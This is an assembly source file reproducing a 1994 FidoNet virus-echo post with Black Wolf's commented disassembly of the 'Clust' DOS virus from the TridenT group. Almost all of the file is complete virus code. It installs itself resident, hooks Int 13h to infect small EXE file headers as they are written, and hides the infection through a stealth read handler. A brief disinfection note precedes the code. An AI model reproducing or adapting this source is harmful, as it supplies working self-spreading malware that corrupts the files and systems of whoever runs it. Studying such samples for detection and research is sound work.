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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir50.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 40 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:15
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : CLUST.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Mike Salvino, 2:283/718 (06 Nov 94 17:48)
;* To : Daniel Hendry
;* Subj : CLUST.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Mike.Salvino@f718.n283.z2.fidonet.org
;Clust Virus from TridenT research group - small but fairly interesting,
;it's one of the more advanced from TridenT that I've seen with the
;possible exception of the TPE.
;This virus goes memory resident at the top of lower memory and hooks
;Int 13h. Whenever an EXE file header is written, it checks to see
;if there is a large field of 0's inside it (VERY common in EXE's)
;and, if so, will put itself inside it and change the exe marker bytes
;'MZ' to a jump to that code. In this way, it effectively converts the
;file to a COM file when it is run. After this it re-executes the EXE
;file. Because of a stealth handler on Int 13h function 2 (absolute
;disk read) the EXE file is read as it originally was (the handler
;zero's out the field in which it resides and restores the jump to
;'MZ'). Because of the way this virus works, it can only infect
;smaller EXE files.
;NOTE:
;Several commands are commented out and have the actual bytes entered
;next to them instead. This is because the compiler that Clust was
;originally compiled on used different translations than mine, and
;I wished to preserve the EXACT virus code.
;Disinfection: Because of this virus' stealth routine, disinfection should
; be possible simply by Zipping or Arjing all EXE files on an
; infected disk, then rebooting from a clean disk and unarchiving
; the files. The original archiving MUST be done while the
; virus is active in memory. Also - after rebooting - make
; sure the program you use to unarchive the files is _NOT_
; infected.
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
jmp short EntryPoint
LotsaNOPs db 122 dup (90h) ;Usually will be EXE header....
OldInt13 dd 0
EntryPoint:
db 0e9h,7ch,0 ;jmp InstallVirus
Int13Handler:
cmp ah,3
je IsDiskWrite
cmp ah,2
jne GoInt13
pushf
call cs:OldInt13 ;Call Int 13h
jc Exit13Handler ;Exit on error.
cmp word ptr es:[bx],7EEBh ;Is sector infected?
jne Exit13Handler
mov word ptr es:[bx],5A4Dh ;Cover mark with 'MZ'
push di cx ax ;Stealth routine.....
mov cx,115h
xor ax,ax
db 89h,0dfh ;mov di,bx
;Zero out virus from
add di,80h ;sector when it is read.
rep stosb
pop ax cx di
Exit13Handler:
iret
GoInt13:
jmp cs:[OldInt13]
IsDiskWrite:
cmp word ptr es:[bx],5A4Dh ;Is EXE file being written?
jne GoInt13
cmp word ptr es:[bx+4],75h ;Is file too large?
jae GoInt13
push ax cx si di ds
push es
pop ds
db 89h,0deh ;mov si,bx
add si,80h ;Look in EXE header....
mov cx,115h
AllZeros:
lodsb
cmp al,0
loopz AllZeros
cmp cx,0 ;Check to see if entire field
jne ExitInfectHandler ;was zeroed - leave if not.
db 89h,0dfh ;mov di,bx
add di,80h
mov cx,115h
mov si,offset OldInt13
push cs
pop ds
rep movsb
db 89h,0dfh ;mov di,bx
;Copy virus
;over zero area in EXE header.
mov ax,7EEBh ;Stick in Jump over 'MZ'
stosw
ExitInfectHandler:
pop ds di si cx ax ;Allow Write to process now.
jmp short GoInt13
InstallVirus:
mov ax,3513h
int 21h ;Get Int 13 addres
mov word ptr cs:[OldInt13],bx
mov word ptr cs:[OldInt13+2],es
mov ah,0Dh
int 21h ;Flush disk buffers
mov ah,36h
mov dl,0
int 21h ;Get free space on default drive
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:0,'Z' ;Are we the last chain?
jne Terminate ;If not, terminate.
;sub word ptr ds:[3],39h ;subtract from MCB size
db 81h,2eh,03,0,39h,0
;sub word ptr ds:[12h],39h ;subtract from PSP TopOfMem
db 81h,2eh,12h,0,39h,0
mov si,offset OldInt13
db 89h,0f7h ;mov di,si
mov es,ds:[12h] ;ES = new segment
push cs
pop ds
mov cx,115h ;Copy virus into memory
rep movsb
mov ax,2513h
push es
pop ds
mov dx,offset Int13Handler
int 21h ;Set int 13 to virus handler
mov ah,4Ah
push cs
pop es
mov bx,39h
int 21h ;Modify mem alloc.
push cs
pop ds
mov bx,ds:[2ch] ;Get environment segment
mov es,bx
xor ax,ax
mov di,1
ScanForFilename: ;Find name of file executed
dec di ;in environment strings...
scasw ;(located after two 0's)
jnz ScanForFilename
lea si,[di+2]
push bx
pop ds ;DS = environment segment
push cs
pop es ;ES = code segment
mov di,offset Filename
push di
xor bx,bx
CopyFilename:
mov cx,50h
inc bx
lodsb
cmp al,0
jne StoreFilename ;Change zero at end of
mov al,0Dh ;filename to a return
StoreFilename:
stosb
cmp al,0Dh ;If it was a return, we're
loopnz CopyFilename ;done copying the filename
mov byte ptr ds:[28fh],bl
push cs
pop ds
pop si
dec si
int 2Eh ;Re-execute EXE file with
;Stealth handler in memory,
;so Exe is run w/o virus.
Terminate:
mov ah,4Ch
int 21h
db 0
Filename db 1
end start
;-+- Terminate 1.50/Pro
; + Origin: Fred's Place (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/zi,/zd,/zn Debug info: zi=full, zd=line numbers only, zn=none
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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